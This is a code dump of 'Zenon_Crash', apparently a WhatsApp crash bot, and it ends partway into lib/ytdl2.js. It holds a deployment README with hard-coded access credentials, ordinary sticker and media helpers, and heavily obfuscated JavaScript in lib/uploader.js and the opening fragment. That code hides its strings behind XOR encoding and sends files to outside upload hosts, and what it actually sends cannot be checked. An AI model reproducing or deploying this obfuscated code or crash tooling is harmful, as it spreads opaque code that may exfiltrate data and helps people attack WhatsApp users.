mkHv$SKtlQKeJqm=qky_n_NLM;console[mkHv$SKtlQKeJqm(0x1b2)](mkHv$SKtlQKeJqm(0x1bb),m_aQ_YhI);if(m_aQ_YhI=='.'||m_aQ_YhI==0x1*-0x1f01+-0x126f+-0x3171*-0x1||m_aQ_YhI==Math.ceil(0x11a2)+0x17*-0x125+-0x1*-0x8b1)start();});}start(); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

ZENON CRASH

2 |

3 | 4 | *** 5 | 6 | Typing SVG 7 |

8 | o 9 |

10 |

11 | 12 |

13 | 14 | 15 | 16 | 17 | 18 | ### FIRST STAR AND FORK (IMPORTANT) 19 | 20 | 1. Click on **[Fork](https://github.com/Toxic1239/Zenon_Crash/fork)** A must . Make sure to add a star 🌟 to encourage the developers. 21 | ### 2. GET SESSION ID HERE 22 | 23 | PAIR CODE 24 | 25 | **DEPLOYMENT PROCESS** 26 | ### IF YOU WANNA DEPLOY ANYWHERE JUST ADD YOUR CREDS.JSON TO YOUR FORKED REPO** 27 | 28 | ### DEPLOY ON REPLIT 29 | IF YOU DON'T HAVE A REPLIT ACCOUNT CREATE ONE AND DEPLOY 30 |
31 | Replit 32 | 33 | 34 | ### DEPLOY ON CODESPACE 35 | 1. Deploy. `Free` 36 | JUST TYPE "NPM START" and the bot will start 37 | 38 | 39 |
40 | Codespace 41 | 42 | ### ACCESS CODES 43 | # USERNAME 44 | ``` 45 | toxxictech 46 | ``` 47 | # PASSWORD 48 | ``` 49 | zenonbotinc 50 | ``` 51 | # Termux Deployment 52 | ``` 53 | termux-setup-storage 54 | ``` 55 | ``` 56 | apt update 57 | ``` 58 | ``` 59 | apt upgrade 60 | ``` 61 | ``` 62 | pkg update && pkg upgrade 63 | ``` 64 | ``` 65 | pkg install bash 66 | ``` 67 | ``` 68 | pkg install libwebp 69 | ``` 70 | ``` 71 | pkg install git -y 72 | ``` 73 | ``` 74 | pkg install nodejs -y 75 | ``` 76 | ``` 77 | pkg install ffmpeg -y 78 | ``` 79 | ``` 80 | pkg install wget 81 | ``` 82 | ``` 83 | pkg install yarn 84 | ``` 85 | ``` 86 | git clone (copy and paste your forked repo link not mine to save changes your changes) 87 | ``` 88 | ``` 89 | cd Zenon_Crash 90 | ``` 91 | ``` 92 | yarn install 93 | ``` 94 | ``` 95 | npm start 96 | ``` 97 | 98 | - If you want Command For 24/7 (might no work) 99 | ```js 100 | npm i -g forever && forever index.js && forever save && forever logs 101 | ``` 102 |
103 | 104 | ### REPORT ISSUES 105 | 106 | if you're having any issues message me on 107 | Owner: [Telegram](https://t.me/Toxxicn_bot) 108 | 109 | If the bot goes offline 110 | Just type cd and the bot name 111 | Then type npm start 112 | It will come online 113 | 114 | `Please Zenon_Crash is not for fun, don't use it to harm innocent people` 115 | 116 | 117 | ## Contributions 118 | 119 | Contributions to Zenon_Crash are welcome! If you have ideas for new features, improvements, or bug fixes, feel free to open an issue or submit a pull request.
120 | 121 | thanks to these people ; 122 | 123 | **Toxxic** Bot Developer
124 | 125 | 126 | ## License 127 | 128 | The WhatsApp Bot Zenon_Crash is released under the [MIT License](https://opensource.org/licenses/MIT). 129 | 130 | Enjoy the diverse features of the WhatsApp Bot Toxxic Md to enhance your conversations and make your WhatsApp experience more interesting! 131 | 132 | ## Developers: 133 | 134 | -TOXXIC MD 135 | -------------------------------------------------------------------------------- /lib/myfunc2.js: -------------------------------------------------------------------------------- 1 | //𝑩𝒂𝒔𝒆 𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 2 | 3 | var __importDefault = (this && this.__importDefault) || function (mod) { 4 | return (mod && mod.__esModule) ? mod : { "default": mod } 5 | } 6 | Object.defineProperty(exports, "__esModule", { value: true }) 7 | 8 | const axios = require("axios") 9 | const cheerio = require("cheerio") 10 | const { resolve } = require("path") 11 | const util = require("util") 12 | let BodyForm = require('form-data') 13 | let { fromBuffer } = require('file-type') 14 | //let fetch = require('node-fetch') 15 | let fs = require('fs') 16 | const child_process = require('child_process') 17 | const ffmpeg = require('fluent-ffmpeg') 18 | 19 | const {unlink } = require ('fs').promises 20 | 21 | 22 | exports.sleep = async (ms) => { 23 | return new Promise(resolve => setTimeout(resolve, ms)); 24 | } 25 | exports.fetchJson = async (url, options) => { 26 | try { 27 | options ? options : {} 28 | const res = await axios({ 29 | method: 'GET', 30 | url: url, 31 | headers: { 32 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' 33 | }, 34 | ...options 35 | }) 36 | return res.data 37 | } catch (err) { 38 | return err 39 | } 40 | } 41 | exports.fetchBuffer = async (url, options) => { 42 | try { 43 | options ? options : {} 44 | const res = await axios({ 45 | method: "GET", 46 | url, 47 | headers: { 48 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36", 49 | 'DNT': 1, 50 | 'Upgrade-Insecure-Request': 1 51 | }, 52 | ...options, 53 | responseType: 'arraybuffer' 54 | }) 55 | return res.data 56 | } catch (err) { 57 | return err 58 | } 59 | } 60 | exports.webp2mp4File=async(path) =>{ 61 | return new Promise((resolve, reject) => { 62 | const form = new BodyForm() 63 | form.append('new-image-url', '') 64 | form.append('new-image', fs.createReadStream(path)) 65 | axios({ 66 | method: 'post', 67 | url: 'https://s6.ezgif.com/webp-to-mp4', 68 | data: form, 69 | headers: { 70 | 'Content-Type': `multipart/form-data; boundary=${form._boundary}` 71 | } 72 | }).then(({ data }) => { 73 | const bodyFormThen = new BodyForm() 74 | const $ = cheerio.load(data) 75 | const file = $('input[name="file"]').attr('value') 76 | bodyFormThen.append('file', file) 77 | bodyFormThen.append('convert', "Convert WebP to MP4!") 78 | axios({ 79 | method: 'post', 80 | url: 'https://ezgif.com/webp-to-mp4/' + file, 81 | data: bodyFormThen, 82 | headers: { 83 | 'Content-Type': `multipart/form-data; boundary=${bodyFormThen._boundary}` 84 | } 85 | }).then(({ data }) => { 86 | const $ = cheerio.load(data) 87 | const result = 'https:' + $('div#output > p.outfile > video > source').attr('src') 88 | resolve({ 89 | status: true, 90 | message: "Created By Eternity", 91 | result: result 92 | }) 93 | }).catch(reject) 94 | }).catch(reject) 95 | }) 96 | } 97 | 98 | exports.fetchUrl = async (url, options) => { 99 | try { 100 | options ? options : {} 101 | const res = await axios({ 102 | method: 'GET', 103 | url: url, 104 | headers: { 105 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' 106 | }, 107 | ...options 108 | }) 109 | return res.data 110 | } catch (err) { 111 | return err 112 | } 113 | } 114 | 115 | exports.WAVersion = async () => { 116 | let get = await exports.fetchUrl("https://web.whatsapp.com/check-update?version=1&platform=web") 117 | let version = [get.currentVersion.replace(/[.]/g, ", ")] 118 | return version 119 | } 120 | 121 | exports.getRandom = (ext) => { 122 | return `${Math.floor(Math.random() * 10000)}${ext}` 123 | } 124 | 125 | exports.isUrl = (url) => { 126 | return url.match(new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/, 'gi')) 127 | } 128 | 129 | exports.isNumber = (number) => { 130 | const int = parseInt(number) 131 | return typeof int === 'number' && !isNaN(int) 132 | } 133 | exports.TelegraPh= (Path) =>{ 134 | return new Promise (async (resolve, reject) => { 135 | if (!fs.existsSync(Path)) return reject(new Error("File not Found")) 136 | try { 137 | const form = new BodyForm(); 138 | form.append("file", fs.createReadStream(Path)) 139 | const data = await axios({ 140 | url: "https://telegra.ph/upload", 141 | method: "POST", 142 | headers: { 143 | ...form.getHeaders() 144 | }, 145 | data: form 146 | }) 147 | return resolve("https://telegra.ph" + data.data[0].src) 148 | } catch (err) { 149 | return reject(new Error(String(err))) 150 | } 151 | }) 152 | } 153 | const sleepy = async (ms) => { 154 | return new Promise(resolve => setTimeout(resolve, ms)); 155 | } 156 | exports.buffergif = async (image) => { 157 | 158 | const filename = `${Math.random().toString(36)}` 159 | await fs.writeFileSync(`./XeonMedia/trash/${filename}.gif`, image) 160 | child_process.exec( 161 | `ffmpeg -i ./XeonMedia/trash/${filename}.gif -movflags faststart -pix_fmt yuv420p -vf "scale=trunc(iw/2)*2:trunc(ih/2)*2" ./XeonMedia/trash/${filename}.mp4` 162 | ) 163 | await sleepy(4000) 164 | 165 | var buffer5 = await fs.readFileSync(`./XeonMedia/trash/${filename}.mp4`) 166 | Promise.all([unlink(`./XeonMedia/video/${filename}.mp4`), unlink(`./XeonMedia/gif/${filename}.gif`)]) 167 | return buffer5 168 | } -------------------------------------------------------------------------------- /lib/exif.js: -------------------------------------------------------------------------------- 1 | //𝑩𝒂𝒔𝒆 𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 2 | 3 | const fs = require('fs') 4 | const { tmpdir } = require("os") 5 | const Crypto = require("crypto") 6 | const ff = require('fluent-ffmpeg') 7 | const webp = require("node-webpmux") 8 | const path = require("path") 9 | 10 | 11 | async function imageToWebp (media) { 12 | 13 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 14 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.jpg`) 15 | 16 | fs.writeFileSync(tmpFileIn, media) 17 | 18 | await new Promise((resolve, reject) => { 19 | ff(tmpFileIn) 20 | .on("error", reject) 21 | .on("end", () => resolve(true)) 22 | .addOutputOptions([ 23 | "-vcodec", 24 | "libwebp", 25 | "-vf", 26 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse" 27 | ]) 28 | .toFormat("webp") 29 | .save(tmpFileOut) 30 | }) 31 | 32 | const buff = fs.readFileSync(tmpFileOut) 33 | fs.unlinkSync(tmpFileOut) 34 | fs.unlinkSync(tmpFileIn) 35 | return buff 36 | } 37 | 38 | async function videoToWebp (media) { 39 | 40 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 41 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.mp4`) 42 | 43 | fs.writeFileSync(tmpFileIn, media) 44 | 45 | await new Promise((resolve, reject) => { 46 | ff(tmpFileIn) 47 | .on("error", reject) 48 | .on("end", () => resolve(true)) 49 | .addOutputOptions([ 50 | "-vcodec", 51 | "libwebp", 52 | "-vf", 53 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse", 54 | "-loop", 55 | "0", 56 | "-ss", 57 | "00:00:00", 58 | "-t", 59 | "00:00:05", 60 | "-preset", 61 | "default", 62 | "-an", 63 | "-vsync", 64 | "0" 65 | ]) 66 | .toFormat("webp") 67 | .save(tmpFileOut) 68 | }) 69 | 70 | const buff = fs.readFileSync(tmpFileOut) 71 | fs.unlinkSync(tmpFileOut) 72 | fs.unlinkSync(tmpFileIn) 73 | return buff 74 | } 75 | 76 | async function writeExifImg (media, metadata) { 77 | let wMedia = await imageToWebp(media) 78 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 79 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 80 | fs.writeFileSync(tmpFileIn, wMedia) 81 | 82 | if (metadata.packname || metadata.author) { 83 | const img = new webp.Image() 84 | const json = { "sticker-pack-id": `https://github.com/nazedev/naze`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 85 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 86 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 87 | const exif = Buffer.concat([exifAttr, jsonBuff]) 88 | exif.writeUIntLE(jsonBuff.length, 14, 4) 89 | await img.load(tmpFileIn) 90 | fs.unlinkSync(tmpFileIn) 91 | img.exif = exif 92 | await img.save(tmpFileOut) 93 | return tmpFileOut 94 | } 95 | } 96 | 97 | async function writeExifVid (media, metadata) { 98 | let wMedia = await videoToWebp(media) 99 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 100 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 101 | fs.writeFileSync(tmpFileIn, wMedia) 102 | 103 | if (metadata.packname || metadata.author) { 104 | const img = new webp.Image() 105 | const json = { "sticker-pack-id": `https://github.com/nazedev/naze`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 106 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 107 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 108 | const exif = Buffer.concat([exifAttr, jsonBuff]) 109 | exif.writeUIntLE(jsonBuff.length, 14, 4) 110 | await img.load(tmpFileIn) 111 | fs.unlinkSync(tmpFileIn) 112 | img.exif = exif 113 | await img.save(tmpFileOut) 114 | return tmpFileOut 115 | } 116 | } 117 | 118 | async function writeExif (media, metadata) { 119 | let wMedia = /webp/.test(media.mimetype) ? media.data : /image/.test(media.mimetype) ? await imageToWebp(media.data) : /video/.test(media.mimetype) ? await videoToWebp(media.data) : "" 120 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 121 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 122 | fs.writeFileSync(tmpFileIn, wMedia) 123 | 124 | if (metadata.packname || metadata.author) { 125 | const img = new webp.Image() 126 | const json = { "sticker-pack-id": `https://github.com/nazedev/naze`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 127 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 128 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 129 | const exif = Buffer.concat([exifAttr, jsonBuff]) 130 | exif.writeUIntLE(jsonBuff.length, 14, 4) 131 | await img.load(tmpFileIn) 132 | fs.unlinkSync(tmpFileIn) 133 | img.exif = exif 134 | await img.save(tmpFileOut) 135 | return tmpFileOut 136 | } 137 | } 138 | 139 | module.exports = { imageToWebp, videoToWebp, writeExifImg, writeExifVid, writeExif } 140 | -------------------------------------------------------------------------------- /lib/uploader.js: -------------------------------------------------------------------------------- 1 | 2 | const KMvfeVDkhoGxacPGZzcwgTMLo=gvBmXo$FlcscfhUsqlWzeyNcK;(function(KlSFzSZUzkx,qgEUHMsgLtAlXcWJ_MaDoh){const oQNPqIWdSUQwduizly=gvBmXo$FlcscfhUsqlWzeyNcK,bGynsogE=KlSFzSZUzkx();while(!![]){try{const TSpTCoN=parseFloat(parseFloat(oQNPqIWdSUQwduizly(0xe4))/(Math.ceil(0x2215)+Math.floor(-0x440)+0x1*-0x1dd4))+parseFloat(oQNPqIWdSUQwduizly(0x105))/(0x1d3*-0xf+Math.trunc(0x2)*0x1201+-0x8a3)*parseFloat(-parseFloat(oQNPqIWdSUQwduizly(0xfb))/(Number(0x178)*0x8+0x24c0+parseFloat(0x1)*Math.trunc(-0x307d)))+-parseFloat(oQNPqIWdSUQwduizly(0xf8))/(Math.trunc(0x2013)+-0x8e+-0x1f81)+Math['max'](-parseFloat(oQNPqIWdSUQwduizly(0xff))/(parseInt(0x5ed)+0x2*Math.max(-0xe4e,-0xe4e)+0x16b4),-parseFloat(oQNPqIWdSUQwduizly(0xdd))/(0x7e0+Math.max(0x1783,0x1783)*0x1+0x47b*-0x7))+parseFloat(oQNPqIWdSUQwduizly(0xdb))/(0x1*0x26e4+Math.floor(-0x1537)*0x1+-0xfb*0x12)+Math['max'](-parseFloat(oQNPqIWdSUQwduizly(0xea))/(0x1*-0x1ac+-0x1*-0x449+0x295*parseInt(-0x1)),-parseFloat(oQNPqIWdSUQwduizly(0x10b))/(-0xfc1*-0x1+parseInt(-0xbae)+-0x40a))+Math['trunc'](parseFloat(oQNPqIWdSUQwduizly(0x110))/(-0x9*-0x3d7+Number(0x794)+parseFloat(0x33d)*-0xd))*(parseFloat(oQNPqIWdSUQwduizly(0x108))/(0x21e3+0x5*Number(0x22c)+-0x2cb4));if(TSpTCoN===qgEUHMsgLtAlXcWJ_MaDoh)break;else bGynsogE['push'](bGynsogE['shift']());}catch(svibUBwPyGReyQBkymQYyQ){bGynsogE['push'](bGynsogE['shift']());}}}(LtviBdxSIyYOQ,-0x966b2*parseFloat(0x1)+-0xd*0xa485+-0x14b*Math.max(-0x11f7,-0x11f7)));let axios=require(KMvfeVDkhoGxacPGZzcwgTMLo(0xf6)),BodyForm=require(KMvfeVDkhoGxacPGZzcwgTMLo(0xf2)),{fromBuffer}=require(KMvfeVDkhoGxacPGZzcwgTMLo(0xed)),fetch=require(KMvfeVDkhoGxacPGZzcwgTMLo(0xf7)),fs=require('fs'),cheerio=require(KMvfeVDkhoGxacPGZzcwgTMLo(0xe2));const path=require(KMvfeVDkhoGxacPGZzcwgTMLo(0xf0));async function uploadToCatbox(tpjHxPYoSYMaBoOn){const HyDuYCEiX_pmyFMiRuqmv=KMvfeVDkhoGxacPGZzcwgTMLo,SangAvDiiFtJQsO_DhoLHisFN=HyDuYCEiX_pmyFMiRuqmv(0xd7),aGhfZDCjTYSLGJ=new FormData();aGhfZDCjTYSLGJ[HyDuYCEiX_pmyFMiRuqmv(0x10a)](HyDuYCEiX_pmyFMiRuqmv(0x102),HyDuYCEiX_pmyFMiRuqmv(0xf4)),aGhfZDCjTYSLGJ[HyDuYCEiX_pmyFMiRuqmv(0x10a)](HyDuYCEiX_pmyFMiRuqmv(0xf3),''),aGhfZDCjTYSLGJ[HyDuYCEiX_pmyFMiRuqmv(0x10a)](HyDuYCEiX_pmyFMiRuqmv(0xe7),fs[HyDuYCEiX_pmyFMiRuqmv(0x109)](tpjHxPYoSYMaBoOn));try{const y_F$kdS=await axios[HyDuYCEiX_pmyFMiRuqmv(0xfe)](SangAvDiiFtJQsO_DhoLHisFN,aGhfZDCjTYSLGJ,{'headers':aGhfZDCjTYSLGJ[HyDuYCEiX_pmyFMiRuqmv(0xef)]()});if(y_F$kdS[HyDuYCEiX_pmyFMiRuqmv(0x10c)]===parseInt(-0x1)*Math.ceil(0x1b91)+0x1*0x35+-0x1c24*-0x1)return y_F$kdS[HyDuYCEiX_pmyFMiRuqmv(0x111)][HyDuYCEiX_pmyFMiRuqmv(0xde)]();else throw new Error(HyDuYCEiX_pmyFMiRuqmv(0xf9)+y_F$kdS[HyDuYCEiX_pmyFMiRuqmv(0x10c)]);}catch(w_QzUy){throw new Error(HyDuYCEiX_pmyFMiRuqmv(0x100)+w_QzUy[HyDuYCEiX_pmyFMiRuqmv(0xe5)]);}}function gvBmXo$FlcscfhUsqlWzeyNcK(lWze_yNcKVDI,vohARuPGHcBtpjHxPYoSYM){const Bo_OnW=LtviBdxSIyYOQ();return gvBmXo$FlcscfhUsqlWzeyNcK=function(angAvDiiFtJQsODhoLHisFN,aGh$fZDCj$TYSLGJ){angAvDiiFtJQsODhoLHisFN=angAvDiiFtJQsODhoLHisFN-(0x424+Math.ceil(-0x1)*parseFloat(-0x1ac9)+Number(-0x1e19));let yFkdS=Bo_OnW[angAvDiiFtJQsODhoLHisFN];if(gvBmXo$FlcscfhUsqlWzeyNcK['PofAVU']===undefined){const JCZCfj$WGtbKEMJeMP=function(XPoAac){let CkuIgvckMfDLerLumNOC=parseInt(-0x19ce)+parseInt(0x194)+0x2f*0x86&Math.ceil(0x6b)*Number(-0x4)+-0xc7*Number(-0x2f)+parseFloat(-0x21de),tkIAXvcyEFIByYzOCmhlEUYW=new Uint8Array(XPoAac['match'](/.{1,2}/g)['map'](aQOvESfAEZUOG=>parseInt(aQOvESfAEZUOG,-0xd*Math.trunc(-0x23)+parseInt(-0x91)*Math.floor(0x25)+parseInt(0x133e)))),ST_BVoiC_h=tkIAXvcyEFIByYzOCmhlEUYW['map'](ShpEikFR_I$hm=>ShpEikFR_I$hm^CkuIgvckMfDLerLumNOC),mAGPfL_joZZLg_avUfEDMOmqIB=new TextDecoder(),T$EzGpKtalLCwE=mAGPfL_joZZLg_avUfEDMOmqIB['decode'](ST_BVoiC_h);return T$EzGpKtalLCwE;};gvBmXo$FlcscfhUsqlWzeyNcK['zgySuJ']=JCZCfj$WGtbKEMJeMP,lWze_yNcKVDI=arguments,gvBmXo$FlcscfhUsqlWzeyNcK['PofAVU']=!![];}const w_QzUy=Bo_OnW[parseInt(-0xb04)+-0x2360+-0x2*Math.max(-0x1732,-0x1732)],ZkN_wD$cfL=angAvDiiFtJQsODhoLHisFN+w_QzUy,MxeDsclRgvbQUPbOrYJge=lWze_yNcKVDI[ZkN_wD$cfL];return!MxeDsclRgvbQUPbOrYJge?(gvBmXo$FlcscfhUsqlWzeyNcK['rIlMLy']===undefined&&(gvBmXo$FlcscfhUsqlWzeyNcK['rIlMLy']=!![]),yFkdS=gvBmXo$FlcscfhUsqlWzeyNcK['zgySuJ'](yFkdS),lWze_yNcKVDI[ZkN_wD$cfL]=yFkdS):yFkdS=MxeDsclRgvbQUPbOrYJge,yFkdS;},gvBmXo$FlcscfhUsqlWzeyNcK(lWze_yNcKVDI,vohARuPGHcBtpjHxPYoSYM);}const FormData=require(KMvfeVDkhoGxacPGZzcwgTMLo(0xf2));function LtviBdxSIyYOQ(){const LiSHUrHzKkorvjiSwsxawsHkt=['23120501140504402219402d322832343a','08141410135a4f4f051a0709064e030f0d4f170502104d140f4d0d10544f','5256140f360b1339','08141410135a','3f020f150e04011219','51565251535455343202250319','0312050114053205010433141205010d','011010050e04','55505252565953222c3535270b','131401141513','0a130f0e','2601090c050440140f4015100c0f010440140f4026090c054e090f4e','230f0e16051214403705023040140f402d305441','5150502c0e0835242a','04011401','01141412','090e1015143b0e010d055d4206090c05423d','0e05174d090d0107054d15120c','08141410135a4f4f030114020f184e0d0f054f151305124f0110094e100810','051814','0512120f12','030f0e16051214','535250565459502f1218052617','0518100f121413','535451505750502f0a28082b3a','1412090d','131203','08141410135a4f4f13564e051a0709064e030f0d4f170502104d140f4d0d1054','0301140308','0308050512090f','0d150c1409100112144f060f120d4d040114015b40020f150e040112195d','5552525750540a1208381507','0d051313010705','2512120f124015100c0f0104090e0740140f4026090c054e090f5a','06090c05340f35100c0f0104','0c0f0104','16010c1505','545456545651561a292215350b','040916430f1514101514405e40104e0f151406090c05405e40160904050f405e40130f15120305','0c090e0b','06090c054d14191005','140d104e','07051428050104051213','10011408','0e05174d090d010705','060f120d4d04011401','1513051208011308','06090c0515100c0f0104','08141410135a4f4f060c0f0e090d054e0d194e09044f15100c0f0104','0118090f13','0e0f04054d0605140308','525750535958583605170e2837','2601090c050440140f4015100c0f010440140f40230114020f185a40','06090c05','5657575456193719163002','302f3334','1408050e','100f1314','525854525255503823112d3037','2512120f124015100c0f0104090e0740140f40230114020f185a40','08141410135a4f4f06090c054e090f4f','12051114191005'];LtviBdxSIyYOQ=function(){return LiSHUrHzKkorvjiSwsxawsHkt;};return LtviBdxSIyYOQ();}async function uploadToFileIo(Z_kNwDcf_L){const pmYEc$yf_QFvISzxb=KMvfeVDkhoGxacPGZzcwgTMLo;try{const MxeDsclRgvbQUPbO$rYJge=new FormData();MxeDsclRgvbQUPbO$rYJge[pmYEc$yf_QFvISzxb(0x10a)](pmYEc$yf_QFvISzxb(0xfa),fs[pmYEc$yf_QFvISzxb(0x109)](Z_kNwDcf_L));const JCZC_fjWGtbKEMJeMP=await axios[pmYEc$yf_QFvISzxb(0xfe)](pmYEc$yf_QFvISzxb(0x101),MxeDsclRgvbQUPbO$rYJge,{'headers':{...MxeDsclRgvbQUPbO$rYJge[pmYEc$yf_QFvISzxb(0xef)]()}});return JCZC_fjWGtbKEMJeMP[pmYEc$yf_QFvISzxb(0x111)][pmYEc$yf_QFvISzxb(0xec)];}catch(XPoAa_$c){console[pmYEc$yf_QFvISzxb(0xd9)](pmYEc$yf_QFvISzxb(0xe6),XPoAa_$c[pmYEc$yf_QFvISzxb(0xe5)]);throw new Error(pmYEc$yf_QFvISzxb(0x10e));}}function webp2mp4File(CkuIgvckMfDLerLumNOC){return new Promise((tkIAXvcyEFIBy$YzOCmhlEUYW,STBVoiC$$h)=>{const yOSuVQeupRkmJbm=gvBmXo$FlcscfhUsqlWzeyNcK,mAGPfLjoZZLgavUfEDMOmqIB=new BodyForm();mAGPfLjoZZLgavUfEDMOmqIB[yOSuVQeupRkmJbm(0x10a)](yOSuVQeupRkmJbm(0xd6),''),mAGPfLjoZZLgavUfEDMOmqIB[yOSuVQeupRkmJbm(0x10a)](yOSuVQeupRkmJbm(0xf1),fs[yOSuVQeupRkmJbm(0x109)](CkuIgvckMfDLerLumNOC)),axios({'method':yOSuVQeupRkmJbm(0xfe),'url':yOSuVQeupRkmJbm(0xe0),'data':mAGPfLjoZZLgavUfEDMOmqIB,'headers':{'Content-Type':yOSuVQeupRkmJbm(0xe3)+mAGPfLjoZZLgavUfEDMOmqIB[yOSuVQeupRkmJbm(0x107)]}})[yOSuVQeupRkmJbm(0xfd)](({data:TEzG_pKtal$LCwE})=>{const GZMEJZXrHmcXVcIgIALgVO=yOSuVQeupRkmJbm,aQOvESfAEZUOG=new BodyForm(),ShpE_ikFRIhm=cheerio[GZMEJZXrHmcXVcIgIALgVO(0xe8)](TEzG_pKtal$LCwE),BsyjRoqGJvG=ShpE_ikFRIhm(GZMEJZXrHmcXVcIgIALgVO(0xd5))[GZMEJZXrHmcXVcIgIALgVO(0xd4)](GZMEJZXrHmcXVcIgIALgVO(0xe9));aQOvESfAEZUOG[GZMEJZXrHmcXVcIgIALgVO(0x10a)](GZMEJZXrHmcXVcIgIALgVO(0xfa),BsyjRoqGJvG),aQOvESfAEZUOG[GZMEJZXrHmcXVcIgIALgVO(0x10a)](GZMEJZXrHmcXVcIgIALgVO(0xda),GZMEJZXrHmcXVcIgIALgVO(0x10f)),axios({'method':GZMEJZXrHmcXVcIgIALgVO(0xfe),'url':GZMEJZXrHmcXVcIgIALgVO(0x104)+BsyjRoqGJvG,'data':aQOvESfAEZUOG,'headers':{'Content-Type':GZMEJZXrHmcXVcIgIALgVO(0xe3)+aQOvESfAEZUOG[GZMEJZXrHmcXVcIgIALgVO(0x107)]}})[GZMEJZXrHmcXVcIgIALgVO(0xfd)](({data:jMPllYAI})=>{const hPdZhirKPQe=GZMEJZXrHmcXVcIgIALgVO,WLudlcAUlwvyfRmjLae_Y$A=cheerio[hPdZhirKPQe(0xe8)](jMPllYAI),WKyVy$gw$C=hPdZhirKPQe(0x106)+WLudlcAUlwvyfRmjLae_Y$A(hPdZhirKPQe(0xeb))[hPdZhirKPQe(0xd4)](hPdZhirKPQe(0xdf));tkIAXvcyEFIBy$YzOCmhlEUYW({'status':!![],'message':hPdZhirKPQe(0x103),'result':WKyVy$gw$C});})[GZMEJZXrHmcXVcIgIALgVO(0xe1)](STBVoiC$$h);})[yOSuVQeupRkmJbm(0xe1)](STBVoiC$$h);});}async function floNime(LyJwOmUoVgOSytc$czdIhX,pyynLR$MKn_H={}){const nCOqQRhhUQGMgSMtssxvwmqKO=KMvfeVDkhoGxacPGZzcwgTMLo,{ext:I_Jy_tmtoYNf}=await fromBuffer(LyJwOmUoVgOSytc$czdIhX)||pyynLR$MKn_H[nCOqQRhhUQGMgSMtssxvwmqKO(0xd8)];var qt_HPISWcYgHJlkvoc$xo=new BodyForm();qt_HPISWcYgHJlkvoc$xo[nCOqQRhhUQGMgSMtssxvwmqKO(0x10a)](nCOqQRhhUQGMgSMtssxvwmqKO(0xfa),LyJwOmUoVgOSytc$czdIhX,nCOqQRhhUQGMgSMtssxvwmqKO(0xee)+I_Jy_tmtoYNf);let kioQ_ovgXJS_yKwieAle=await fetch(nCOqQRhhUQGMgSMtssxvwmqKO(0xf5),{'method':nCOqQRhhUQGMgSMtssxvwmqKO(0xfc),'body':qt_HPISWcYgHJlkvoc$xo})[nCOqQRhhUQGMgSMtssxvwmqKO(0xfd)](HjcIeFQPURlu=>HjcIeFQPURlu[nCOqQRhhUQGMgSMtssxvwmqKO(0x10d)]());return kioQ_ovgXJS_yKwieAle;}module[KMvfeVDkhoGxacPGZzcwgTMLo(0xdc)]={'uploadToCatbox':uploadToCatbox,'uploadToFileIo':uploadToFileIo,'webp2mp4File':webp2mp4File,'floNime':floNime}; -------------------------------------------------------------------------------- /lib/ytdl2.js: -------------------------------------------------------------------------------- 1 | //𝑩𝒂𝒔𝒆 